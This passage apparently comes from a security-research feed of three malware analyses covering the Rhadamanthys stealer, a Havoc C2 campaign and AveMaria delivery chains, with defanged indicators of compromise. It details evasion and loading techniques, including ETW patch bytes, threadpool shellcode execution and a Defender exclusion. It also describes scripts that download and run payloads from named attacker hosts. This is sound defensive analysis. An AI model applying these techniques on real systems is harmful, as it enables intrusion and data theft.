module_info { unsigned int module_hash; // MurmurHash. Used to detect the module. unsigned char module_size_offset; // The byte is left shifted with the value 0xc. }; Module Name Description prepare.bin Applies relocations and dynamic API loading. dfdll.dll Executable file written on disk. It loads and executes the downloaded payload. unhook.bin Detects if specified Windows API functions of NTDLL library have been hooked. phexec.bin Injects code by using the SYSENTER command while calling Windows API functions. Table 2 - Identified embedded modules NOTE: In case of a 32-bit compromised host, none of the above modules are required. Instead, Rhadamanthys generates a key by doing a bitwise XOR operation of the first byte of the downloaded module with the hard-coded byte value 0x21. The output is used as an XOR key to decrypt the first 108 bytes (header) of the downloaded payload Main module Similarly with the loader component, the main module has its own set of modules and components. As can be seen in Table 3, the main module has a variety of embedded components. Module Name Description KeePassHax C# module to exfiltrate credentials of password management software KeePass. Stubmod Assists with communication between modules and Coredll by using a named PIPE. Stub Loads and executes the main module from disk. Coredll Main orchestrator. Preload Executes Coredll. Runtime C# module to execute PowerShell scripts. Stubexec Module, which injects code to another process (regsvr32). /etc/license.key Unknown. Potentially related to a license key. /etc/puk.key Elliptic Curve (NIST P-256) public key /extension/%08x.lua A set of LUA scripts, which are used for extracting credentials. Table 3 - Main module embedded components Furthermore, instead of using hardcoded offsets to detect and extract them, Rhadamanthys uses the MPQ hashing algorithm to hash the name of the embedded component and generate a set of hashes. Then, it uses these hashes to scan its own memory in order to detect the appropriate component. Network Communication In both the main module and the loader, the network communication is encrypted. This is achieved by generating at runtime a private/public pair of Elliptic Curve keys (NIST P-256 curve) and sending the public key to the command-and-control server. In the case of the loader, the public key is appended to the ‘Cookie’ and ‘CSRF-TOKEN’ headers. On the other hand, the main module uses the Websocket protocol. In that case, the main module sends the public key as soon as the communication has switched the protocol. In addition to the above, in recent versions, the loader uses as a ‘Host’ header the domain catalog.s.download.windowsupdate.com. Once the loader has sent the HTTP request to download the main module, the command-and-control server replies with a JPEG image, which contains the (encrypted) main module. The structure of the received image is the following: struct Downloaded_Payload { unsigned char JFIF_Header[0x14]; unsigned int Encrypted_Payload_Size; unsigned char Expected_SHA1[0x14]; // Expected SHA-1 value once payload is decrypted. unsigned char Key_Salt[0x20]; // Used for deriving the RC4 key unsigned char public_key[0x40]; unsigned __int16 Marker; // 0xFFDB }; The encrypted payload, which is located after the image data, has two layers of encryption. In the first layer, the derived shared secret and the key salt are hashed (SHA-1) and the output is used as an RC4 key. The decrypted output reveals a new structure that matches the Hidden Bee format shown below: struct payload_layer_1 { unsigned int magic; // set to !Rex unsigned int module_size; unsigned int module_data_offset; unsigned char module_loader_shellcode[]; unsigned char module[module_size]; }; Lastly, Rhadamanthys executes the main module’s shellcode loader, which derives an AES key from the public key along with the salt value of the configuration structure and decrypts the last layer of the main module. The decrypted output is then decompressed with the LZSS algortihm. NOTE: The expected decrypted output should start with the string ‘!HADES’ It should be noted that despite using a secure encryption algorithm to safeguard the network communications, the procedure that Rhadamanthys uses to generate the Elliptic Curve keys suffers from a serious bug. Upon execution, it calls the C function time to get the current epoch time of the compromised machine followed by a call to the srand function with the epoch time as a seed. Finally, it generates the secret scalar value by calling the C function rand. As a result, we can brute-force the generated keys if we have a network capture of the first request to the server, which contains both the public key and the epoch time. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Rhadamanthys at various levels with the following threat names: WIN32.PWS.Rhadamanthys Indicators of Compromise Host Indicators SHA256 Hash Description 3300206b9867c6d9515ad09191e7bf793ad1b42d688b2dbd73ce8d900477392e Rhadamanthys Loader aebb1578371dbf62e37c8202d0a3b1e0ecbce8dd8ca3065ab26946e8449d60ae Rhadamanthys Loader 9917b5f66784e134129291999ae0d33dcd80930a0a70a4fbada1a3b70a53ba91 Rhadamanthys Loader Network Indicators IOC Description hxxp://45[.]66.151.81/blob/xxx.png Command-and-Control server hxxp://141[.]98.82.254/blob/is4mlw.suqp Command-and-Control server hxxp://85[.]208.136.26/blob/vpuu9i.7b4x Command-and-Control server Tue, 21 Feb 2023 08:21:36 -0800 Nikolaos Pantazopoulos https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques Havoc Across the Cyberspace https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace Zscaler ThreatLabz research team observed a new campaign targeting a Government organization in which the threat actors utilized a new Command & Control (C2) framework named Havoc. While C2 frameworks are prolific, the open-source Havoc framework is an advanced post-exploitation command and control framework capable of bypassing the most current and updated version of Windows 11 defender due to the implementation of advanced evasion techniques such as indirect syscalls and sleep obfuscation. The technical analysis that follows provides an overview of recently discovered attack campaign targeting government organization using Havoc and reveals how it can be leveraged by the threat actors in various campaigns. Key Observations: Observed New threat campaign leveraging the open-source Havoc C2 framework targeting Government organization Analysis of Havoc Demon - Implant generated via the Havoc framework ShellCode Loader: Disables the Event Tracing for Windows (ETW) to evade detection mechanisms. Decrypts and executes the shellcode via CreateThreadpoolWait() KaynLdr Shellcode: Reflectively loads the Havoc’s Demon DLL without the DOS and NT headers to evade detection. Performs API hashing routine to resolve virtual addresses of various NTAPI's by using modified DJB2 hashing algorithm Demon DLL: Parsing configuration files Usage of Sleep Obfuscation Techniques Communication with the CnC Server - CheckIn Request and Command Execution Performs In-Direct Syscalls and Return Address Stack Spoofing and more Performed tracking of the threat actor based on infrastructure analysis and opsec blunders where we gathered and analyzed the screenshots of the threat actors machine from the CnC due to self-compromise. Table Of Contents: Campaign Infection Chain Analysis Analysis of Havoc Demon Tracking the threat actor - Infrastructure and Opsec blunders Indicators Of Compromise Campaign: In the beginning of January, this year, we discovered an executable named “pics.exe” in the Zscaler Cloud targeting a Government Organization. The executable was downloaded from a remote server: “146[.]190[.]48[.]229” as shown in the screenshot below Fig 1. Campaign - Zscaler Cloud Let us now examine the infection chain used by the threat actors in the following campaign to deliver the Havoc Demon on the target machine. Infection Chain Analysis: Fig 2. Infection chain The infection chain utilized by the threat actors for delivering the Havoc Demon on the target machines commences with a ZIP Archive named “ZeroTwo.zip” consisting of two files “character.scr” and “Untitled Document.docx” as shown in the screenshot below. Fig 3. ZIP Archive Here the “Untitled Document.docx” is a document consisting of paragraphs regarding the “ZeroTwo” which is a fictional character in the Japanese anime television series Darling in the Franxx. Fig 4. Contents of the Document bundled in the ZIP Archive Further the screen saver file “character.scr” is basically a downloader commissioned to download and execute the Havoc Demon Agent on the victim machine. The Downloader binary is compiled using a BAT to EXE converter “BAT2EXE” which allows users to convert Batch scripts into executables as shown in the screenshot below. The BAT2EXE argument can be seen in the downloader binary. Fig 5. BAT2EXE argument used in the downloader binary Once executed the BAT2EXE compiled binary loads and decrypts the Batch Script from the .rsrc section as shown in the screenshot below. Fig 6. Decrypted BAT Script The binary then writes and executes the decrypted BAT script from the Temp folder as shown in the image below. Fig 7. Decrypted BAT Script written in the Temp folder The Decrypted BAT Script upon execution performs the following tasks: Checks whether “teste.exe” exists in the Temp folder, if not, it downloads the final payload from http[:]//146[.]190[.]48[.]229/pics.exe and saves it as “seethe.exe” in the Temp folder via Invoke-WebRequest and then executes it using “start seethe.exe” Fig 8. Downloads the final payload “pics.exe” from remote server via Invoke-WebRequest Then it checks whether “testv.exe” exists in the Temp folder, if not, it downloads an image from “https[:]//i[.]pinimg[.]com/originals/d4/20/66/d42066e9f8c4b75a0723b8778c370f1d.jpg” and saves it as images.jpg in the Temp folder and opens it using images.jpg. Fig 9. Downloads a JPG image from pinimg[.]com The following image of the “Zero Two” character was downloaded from pinimg[.]com & executed in order to conceal the actual execution and malicious activities performed by the final payload. Fig 10. Zero Two Image downloaded from pinimg[.]com Before analyzing the final payload, let’s take a look at another similar Downloader compiled via BAT2EXE named “ihatemylife.exe”, in this case, the decrypted Batch script downloads the final payload from “https[:]//ttwweatterarartgea[.]ga/image[.]exe” using Invoke-WebRequest alongside the payload it also downloads an image to conceal the malicious activities as shown in the screenshot below. Fig 11. Decrypted Batch scripts downloads the final payload from https[:]//ttwweatterarartgea[.]ga Fig 12. Image Downloaded by the Batch Script to conceal malicious activities Now let’s analyze the final In-the-Wild “Havoc Demon” payload which was downloaded via the Downloader named “character.scr” from http[:]//146[.]190[.]48[.]229/pics.exe as explained previously. Havoc Demon is the implant generated via the Havoc Framework - which is a modern and malleable post-exploitation command and control framework created by @C5pider. Fig 13. The Havoc Framework Fig 14. Havoc Framework - Interface Shellcode Loader: The Downloaded payload “pics.exe” is the “Shellcode Loader” which is signed using Microsoft’s Digital certificate as shown in the screenshot below Fig 15. Microsoft Signed Executable Upon execution the Shellcode Loader at first disables the Event Tracing for Windows (ETW) by patching the WinApi “EtwEventWrite()” which is responsible for writing an event. ETW Patching process: Retrieves module handle of ntdll.dll via GetModuleHandleA Retrieves address of EtwEventWrite via GetProcAddress Fig 16. Fetches the address of EtwEventWrite Further it changes the protection of the region via VirtualProtect and then overwrites the first 4 bytes of the EtwEventWrite with following bytes: 0x48,0x33,0xc0,0xc3 (xor rax,rax | ret) Fig 17. Overwriting bytes to patch EtwEventWrite By patching the EtwEventWrite function the ETW will not be able to write any events thus disabling the ETW. Then the payload AES decrypts the shellcode using CryptDecrypt() as shown in the screenshot below - in this case the Algorithm ID used is “0x00006610” - AES256 Fig 18. AES Decrypts the Shellcode via CryptDecrypt Once the Shellcode is decrypted, the Shellcode is executed via CreateThreadpoolWait() where at first it creates an event object in a signaled state via CreateEventA(), then allocates RWX memory via VirtualAlloc() and writes the Shellcode in the allocated memory. Further it creates a wait object using CreateThreadpoolWait, here the first argument - callback function is set to the address of the shellcode. Then it set’s the wait object via the NtApi “TpSetWait” and at last calls the WaitForSingleObject which once executed checks if the waitable object is in signaled state, as our event was created in signaled state the callback function is been executed i.e the decrypted shellcode is been executed and the control flow is been transferred to the shellcode. Fig 19. Shellcode execution via CreateThreadpoolWait KaynLdr - Shellcode The Shellcode in this case is the “KaynLdr” which is commissioned to reflectively load the Havoc’s Demon DLL implant by calling its entrypoint function. Once the Shellcode is executed it retrieves the image base of the Demon DLL which is embedded in the shellcode itself by executing the following inline assembly function called KaynCaller. Fig 20. Retrieves the Image Base of the Embedded Demon DLL Further the KaynLdr performs the API Hashing routine in order to resolve the virtual addresses of various NTAPI’s by walking the export address table of the ntdll.dll (Function: LdrFunctionAddr) and initially the virtual address of the NTDLL.dll is been retrieved by walking the Process Environment Block (Function: LdrFunctionAddr) as shown in the screenshot below Fig 21. API Hashing Routine used by Havoc Demon Here the hashing algorithm used is a modified version of “DJB2” algorithm based on the constant “5381” or “0x1505” as shown in the screenshot below. Fig 22. Modified DJB2 Hashing Algorithm used in the API Hashing Routine Virtual Addresses for the following module and NTAPI’s are retrieved by using the API Hashing routine where the hardcoded DJB2 hashes are compared with the dynamically generated hash. 0x70e61753 ntdll.dll 0x9e456a43 LdrLoadDll 0xf783b8ec NtAllocateVirtualMemory 0x50e92888 NtProtectVirtualMemory Further the Embedded Demon DLL is memory mapped and the base relocations are calculated if required in an allocated memory page procured by calling the NtAllocateVirtualMemory(). Also the page protections are changed via multiple calls to NtProtectVirtualMemory as shown below. Fig 23. Memory Mapping of the embedded Demon DLL The Demon DLL is memory mapped in the Allocated memory without the DOS and NT Headers in order to evade detection mechanisms. Fig 24. Demon DLL is memory mapped without DOS and NT Headers Now once the Demon DLL is memory mapped the KaynDllMain i.e the entrypoint of the DLL is executed by the KaynLdr as shown below, from there on the control is transferred to the Havoc Demon DLL Implant. Fig 25. Entrypoint of the Demon DLL is been executed by the KaynLdr Analysis of Havoc Demon DLL: The entrypoint of the Havoc Demon DLL is executed by the KaynLdr as discussed previously. Now as the Havoc Demon has many features, we will only focus on a few of them in the following blog, as the features can be deduced from its source at: https://github.com/HavocFramework/Havoc So once the Havoc Demon is been executed there are four functions which are been executed by the DemonMain(): DemonInit DemonMetaData DemonConfig DemonRoutine The DemonInit is the initialization function which Retrieves the virtual addresses of functions from modules such as ntdll.dll/kernel32.dll by calling the API Hashing Routine discussed previously. Retrevies Syscall stubs for various NTAPI’s Loads various Modules via walking the PEB with stacked strings Initialize Session and Config Objects such as Demon AgentID, ProcessArch etc. Now let’s understand how the Configuration is being parsed via the DemonConfig() function. The Demon’s Configuration is been stored in the .data section as shown in the screenshot below Fig 26. Demon Configuration stored in the .data section The DemonConfig function parses the configuration by indexing the various required values from the config. Following is the configuration for the Demon DLL used in the campaign. Configuration: Sleep: 2 (0x2) Injection: Allocate: Native/Syscall (0x2) Execute: Native/Syscall (0x2) Spawn: x64: C:\Windows\System32\notepad.exe x86: C:\Windows\SysWOW64\notepad.exe Sleep Obfuscation Technique: Ekko (0x2) Method: POST Host: 146[.]190[.]48[.]229 Transport Secure: TRUE UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537/36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Fig 27. Demon Configuration - Host (CnC) and UserAgent parsed The DemonRoutine() function is the main loop for the malware, it is responsible for connecting to the command and control (C2) server, waiting for tasks from the server, executing those tasks, and then waiting again for more tasks and running indefinitely. It does the following things: First, it checks if it is connected to the C2 server. If not, it calls TransportInit() to connect to the server. If the connection is successful, it enters the CommandDispatcher() function, which is responsible for a task routine which parses the tasks and executes them until there are no more tasks in the queue. If the malware is unable to connect to the C2 server, it will keep trying to connect to the server again Now let’s understand how it connects to the TransportInit function: TransportInit() is responsible for connecting to the C2 server and establishing a session. It first sends the AES encrypted MetaData packet i.e the Check-in request generated via the DemonMetaData() function through the PackageTransmit() function, which could be sending data over HTTP or SMB, depending on the value of the TRANSPORT_HTTP or TRANSPORT_SMB macro. If the transmission is successful, it then decrypts the received data using AES encryption with a given key and initialization vector on the TeamServer. The decrypted data is then checked against the agent's ID, and if they match, the session is marked as connected and the function returns true. Fig 28. Metadata Structure - CheckIn Request TransportSend() is used to send data to the C2 server. It takes a pointer to the data and its size as input, and optionally returns received data and its size.It then creates a buffer with the data to be sent, and depending on the transport method, it either sends the data over HTTP or SMB. Fig 29. TransportSend Function Arguments With Encrypted Data of the Check In request On the Teamserver end the CheckIn request with the metadata packet is been decrypted and showcased on the terminal with both encrypted and decrypted details of packets sent and received Fig 30. Check In Request - Metadata packet parsed by the Team Server Command Execution: After the demon is deployed successfully on the target’s machine, the server is able to execute various commands on the target system. If the command "whoami" is issued to the payload, it would trigger the execution of the command and display the current user running the session.The server logs the command and its response upon execution. Fig 31. Command execution using Havoc GUI Once the command is executed on the victim machine, the command output is AES Encrypted and then sent to the CnC server, which is then decrypted by the TeamServer as shown in the screenshot below. Fig 32. Command Output Logs parsed by the TeamServer List Of Commands: The specific commands available in Havoc will depend on the version and configuration of the framework, but some common commands that are often included in C2 frameworks include: Fig 33. Commands List Further the Demon implements various techniques mentioned below which can be analyzed from the source: Return Address Stack Spoofing In-Direct Syscalls Sleep Masking Techniques Ekko FOLIAGE WaitForSingleObjectEx Tracking the threat actor - Infrastructure and Opsec blunders: The domain name “ttwweatterarartgea[.]ga” from where the final havoc demon payload “image.exe” is downloaded in this case resolves to the IP Address “146[.]190[.]48[.]229” - which is the IP address from where the final payload “pics.exe” was downloaded via the URL: http[:]//146[.]190[.]48[.]229/pics.exe previously. Whilst performing the infrastructure analysis we came across an open-directory on the server “ttwweatterarartgea[.]ga” where multiple demon & metasploit payloads along with internal logs and screenshots were hosted as shown in the screenshot below. Fig 34. Open Directory - “ttwweatterarartgea[.]ga” While examining the files on the open directory, we stumbled upon a HTML file named “NFcmoOSI.html”. The file displayed a screenshot of the threat actor’s machine as illustrated below. Fig 35. Tracking the threat actor - Metasploit Screenshare Based on our analysis, the threat actor detonated the meterpreter payload on its own machine and then used the CnC Server to initiate the Metasploit screenshare command.This action generated a file named "NFcmoOSI.html" on the server which contained a screenshot of the machine being shared along with the Target IP, Start Time and status of the screenshare. Further we were able to gather following information from the threat actors machine screenshot as highlighted below where the initial payload used in our campaign was present on the TAs machine along with the Havoc Demon implant and much more. Fig 36. Tracking the threat actor - Machine Screenshot Now based on the Target IP (i.e the threat actors IP) the location of that IP seems to be in New York, USA. Additionally, the temperature at the time of the screenshot: 1/12/2023 7:28PM was 50° Fahrenheit (Cloudy), after mapping the historical weather data of New York at that specific time we found that the average temperature was approx close to 50° degrees Fahrenheit during that time period. Fig 37. Tracking the threat actor - Temperature Alongside, we came across a log file named “wget-log” which consists of the wget log where the Document lure “Untitled-document.docx” was downloaded from the DropBox URL: “https://www.dropbox.com/scl/fi/hnlvrwbl9v2zadl356mt3/Untitled-document.docx” Fig 38. Tracking the threat actor - wget logs Also the HTML pages “index.nginx-debian.html” and “login.nginx-debian.html” are under-development Twitter phishing pages as shown in the screenshot below. Fig 39. Twitter Phishing Pages hosted on “ttwweatterarartgea[.]ga” Zscaler Cloud Sandbox Report: Fig 40. Cloud Sandbox Report Zscaler's multilayered cloud security platform detects indicators, as shown below: Win64.Backdoor.HavocC2 Conclusion: The Havoc C2 framework campaign highlights the importance of proper cybersecurity measures in today's digital world. The use of payloads and CnC servers to execute malicious commands and gather sensitive information showcases the ever-present threat of cyber attacks. The scenario described in the blog demonstrates the capabilities of such campaigns and the need for organizations to stay vigilant and protect their systems. With the rise of technology, the need for robust security solutions becomes increasingly vital, and organizations must take proactive steps to ensure the safety of their systems and data. Indicators Of Compromise: Havoc CnC: IP: 146[.]190[.]48[.]229 Domain: ttwweatterarartgea[.]ga Hashes: Pics.exe - 5be4e5115cdf225871a66899b7bc5861 Image.exe - bfa5f1d8df27248d840d1d86121f2169 Tue, 14 Feb 2023 08:09:24 -0800 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace Dynamic Approaches seen in AveMaria's Distribution Strategy https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemaria-s-distribution-strategy Zscaler’s ThreatLabz research team diligently monitors and tracks active threat campaigns globally to rapidly detect new developments and proactively safeguard Zscaler customers. The seven case studies that follow provide an in-depth analysis of the AveMaria infostealer attack chain and how it has been shifting over the past six months. Key Takeaways AveMaria is a Remote Access Trojan (RAT) infostealer malware that targets sensitive data with added capabilities of remote camera control and privilege escalation. This stealer has been growing in popularity among threat actors since appearing in December of 2018. Over the past six months, researchers have observed significant changes and additions to the execution stages and Tactics, Techniques, and Procedures that characterize an AveMaria attack. AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim’s machine with the malware, it establishes communication with the attacker’s Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm. The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting. Analysis of AveMaria 2022 Case Studies This section details different variations of the AveMaria stealer attack chain analyzed across samples discovered between July and December of 2022. The case studies included below specifically focus on how different file formats and techniques are used to execute the AveMaria end payload on the victim’s machine, instead of directly dropping and executing the malware. DECEMBER | .Vhd(x)_campaign In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign. This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim’s machine. FIRST CASE STUDY .Vhd(x) campaign Targeting Kazakhstan Officials Fig. 1 - AveMaria .vhd(x)_campaign First Case Study attack chain In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice. Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack. Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig. 3 below) containing a malicious .lnk file, a decoy file, and other system related files (see Tag 2 in Fig. 3 below). Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious file in the impacted system’s temp directory. Finally, execution of the final payload infects the victim’s machine with the AveMaria malware and enables attackers to gain access and take control. Fig. 3 - Behavioral analysis of the .vhdx file and shortcut file SECOND CASE STUDY Fig. 4 - AveMaria .vhd_campaign Second Case Study attack chain Under the same campaign, researchers observed another variation of the attack chain with a custom downloader and other system related files, as shown in Fig. 5 below. Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered. Fig. 5 - Malicious payload file properties of custom downloader Stage 1: Custom downloader The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format. Because the downloaded payload comes as a data file it can successfully evade detections by AV engines. Fig. 6 - Shows the decryption logic to get the second stage payload in PE format. To build the downloaded file in PE format, the custom downloader makes use of type casting or type-conversion mechanism whereby different data types are used to manipulate the values at bit level. Manipulation of Bits Via Type Casting In C# programming, the byte data type is represented by an 8-bit unsigned integer, i.e. it only takes positive values and will ignore the signed bit associated with the value. In the current decryption scenario, the custom downloader gets the handle and an offset of an array and via “for loop” gets a byte value at particular offset, thereafter convert it to an integer data type and subsequently subtract it with the hardcoded value (which in our case is “585” and can be different in other cases) resulting in negative integer value. Then, the negative integer value gets converted to a byte data type. And the hex value of the byte data type will get substituted at the particular offset of an array. It is worth noting that the integer type holds 32-bits of data compared to a byte which holds only 8-bits of data. Converting any integer data type to a byte data type results in the computer only reading the last 8-bit value. For example, converting a hex value 0xB8 from the encrypted array holding “This program” string to an integer data type results in “184”, and subtracting it with “585”, the final value is “-401”, which is represented in binary as: “1111111111111111111111111111111111111111111111111111111001101111” Going the other way and converting the integer data type to byte data type, the system will read only the last 8-bit value, which in binary is “01101111”. So the hexadecimal value of the mentioned binary value will be “0x6F”, as shown below, and the converted ASCII value of “0x6f” is “o”, which is a part of the “This program” string. Fig. 7 - Calculation of bits manipulation Stage 2: Second stage DLL Dumping the decrypted file from memory, achieved in Stage 1, results in a .Net DLL binary without exports. The DLL binary consists of encrypted bytes under the resource section named “a”, passed as an argument to the decryption function to reveal the final AveMaria payload, as shown below. Fig. 8 - Decryption Code In Second Stage DLL This is the final stage of decryption, after which the AveMaria payload is executed and kicks-off C2 communications validating the successful execution of the malware on the victim’s machine. October | AUloader_campaign THIRD CASE STUDY Fig. 9 - AveMaria AUloader_campaign Third Case Study attack chain The third case study named AUloader was also observed by ThreatLabz researchers in October. It uses the same phishing email technique to distribute the main malicious binary. This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload. The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware. The main components are: Vbscript: performs sandbox and AV emulator checks and provides the Autoit script to the interpreter. Autoit Interpreter: runs the script. Autoit Script: contains highly obfuscated payload decryption and malware execution logic. Note: The bundled payload might include or consist of decoy and junk files, with no relevance to the malware or to the attack execution flow. The related phishing email analyzed during this case study (shown below) invites the recipient to submit a competitive quotation offer for an unidentified tender. Requesting a quote is a common practice businesses use to procure fair goods and services. However in this case, the attached zip file sent with the email invitation is malicious and designed to result in an AveMaria infostealer attack. Fig. 10 - Phishing email imitating to be a Tender Invitation After extracting the payload from the attached zip file the bundled parent payload is revealed. The file artifacts and its execution flow are as follows: Tag1: File is compressed (bundled payload). Tag2: Drops malicious and decoy files on execution. Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file. The vbscript file then calls out the malicious Autoit script with the interpreter. The execution of Autoit script then leads to process injection of malware into a legitimate file. Tag4: Payload loaded in RegSvcs.exe memory. Tag5: Obfuscated Autoit script. Fig. 11 - Behavior flow of the extracted file September | Phishing Campaign Targeting Serbian Citizens and Vbs_campaign Purchase Order Scam In September, researchers discovered two different AveMaria malware delivery phishing campaigns, first an e-identification portal login credential scam that targets Serbian citizens and second a purchase order scam requesting an invoice payment. FOURTH CASE STUDY Phishing Email campaign targeting Serbian Citizens Fig. 12 - AveMaria Fourth Case Study attack chain In this campaign, Serbian citizens were targeted with a phishing email impersonating the government of Serbia and prompting them to update and store new login credentials for access to the government e-identification portal. Fig. 13 - Phishing email impersonating eID.gov.rs Eligible citizens of Serbia and foreign nationals use an e-identification portal to register for eCitizenship which gives them single-sign on access to all related government portals from a single platform. Fig. 14 - Legitimate Serbian eCitizen registration site The attached zip file (see Fig. 13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location. To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below. Fig. 15 - Attackers evade detection by Windows defender by adding this drive exclusion powershell command Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information and establishes C2 communication for performing exfiltration of the stolen data. FIFTH CASE STUDY vbs_campaign or Purchase Order Scam Fig. 16 - AveMaria vbs_campaign Fifth Case Study attack chain In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email. A key differentiator in this particular attack chain is the various stages of obfuscation and execution. Fig. 17 - Phishing email Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf. Fig. 18 - Extracted vbscript file appears to have a .pdf filetype extension with a mismatched script file icon Stage 1: VBscript The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below). Fig. 19 - Vbscript file artifacts and behavior The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig. 19), three files were downloaded and all of them are obfuscated in some or the other manner. The downloaded files were all base64 encoded, which after decoding turns out to be an injector .Net binary dll (base64 encoded) a supporting dll (base64 encoded filled with replaceable value) AveMaria payload in reversed base64 encoded format Stage 2 : Injector DLL Decoding the dll2.txt file reveals a dotnet DLL binary that acts as a downloader and injector to execute the end payload. Instead of directly downloading and executing the malware onto the system, threat actors use a custom binary to download supporting DLL and restore the same. Subsequently, it downloads the reversed base64 encoded AveMaria payload and puts it back to base64 format. Once all the required files are in place, the same will be used to perform process injection as shown below. Fig. 20 - Code inside custom downloader Stage 3: Actual AveMaria binary The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, downloaded in the reversed base64 encoded format. After restructuring and decoding, the main payload is revealed. The screenshot below shows the file properties and strings present inside the malicious payload. Fig. 21 - File properties showing malicious AveMaria payload artifacts August | Phishing Campaign Targeting Ukraine Officials SIXTH CASE STUDY Fig. 22 - AveMaria Sixth Case Study attack chain In August, researchers observed a new phishing campaign targeting Ukrainian officials impersonating a representative from the Ukrainian Department of Economic Policy and Strategic Planning. The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files. Fig. 23 - Phishing email impersonating a representative of the Ukrainian Department of Economic Policy and Strategic Planning All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive, as shown below. Fig. 24 - PowerShell Commands in shortcut file The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection. Fig. 25 - Persistence JULY | mshta_campaign SEVENTH CASE STUDY Fig. 26 - AveMaria Seventh Case Study attack chain In the seventh case study attack chain, researchers observed that the “System Binary Proxy Execution” detection evasion technique is used for executing the end payload. A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload. The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only. Stage1: Shortcut files The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary. Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe. Fig. 27 - Shortcut file artifacts and behavior Stage 2: HTA file generating third stage powershell code The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution. Fig. 28 - Obfuscated third stage powershell script Stage 3: Generated PowerShell code After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions: 1.) Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below) if true, then execute the same via “Invoke-item” command. If false, then logic to download and execute the same. 2.) Decoding function: contains the logic to decode encoded data (see red box in the screenshot below) 3.) Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below) Fig. 29 - Decrypted and beautified version of powershell script The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack. Note: In this attack, a website was compromised to host malicious payloads. Summary From the case studies detailed in this analysis, it is evident that the developers of the AveMaria infostealer are actively maintaining the malware and updating the phases and stages of execution with new techniques to ensure the stealer remains relevant by evading detection. While examining the various TTPs over a span of six months, ThreatLabz researchers observed a multitude of changes to the AveMaria malware distribution mechanisms typically updated monthly, so that even if one mechanism is flagged by security operators the others can still be applied effectively. Zscaler Coverage Zscaler Sandbox detected and analyzed the full behavior of the different files, showcasing threat scores and number of MITRE ATT&CK techniques triggered, as shown in the below screenshots. Fig. 30 - Windows shortcut file from .vhd(x)_campaign First Case Study Fig. 31 - Downloader file of .vhd(x)_campaign Second Case Study Fig. 32 - HTA file of mshta_campaign Zscaler’s multilayered cloud security platform detects payloads with following threat names: PS.Downloader.AveMaria VBS.Downloader.AveMaria LNK.Downloader.AveMaria Win32.Downloader.AveMaria Win32.PWS.AveMaria Indicators of Compromise (IOCs) 1. Vhd(x)_campaign Case 1: [+] MD5: 18e7c1ff7bbb4816e53315546397543b = eml 56d1e9d11a8752e1c06e542e78e9c3e4 = vhdx 7991987b2a79059558cdc31e89d03874= shortcut file 2300a4eb4bf1216506900e6040820843= Avemaria [+] Network Indicators: 45[.]61[.]137[.]32/www[.]exe = Payload downloading url hbfyewtuvfbhsbdjhjwebfy[.]net = C2 communication Case 2: [+] MD5s: 86c697f7284ecb5c68cd35d26aaf634a = .vhd file c97e0614fcb0a15ac753ac6761278174 = Downloader 45E081D7C43D748E7FFC63986D30244D = Downloaded dll 9cbdf2af5fa3190d4fdc738c609c0ac2 = AveMaria [+] Network Indicators: filetransfer[.]io/data-package/or1h41Fh/download = third party file sharing payload downloading url 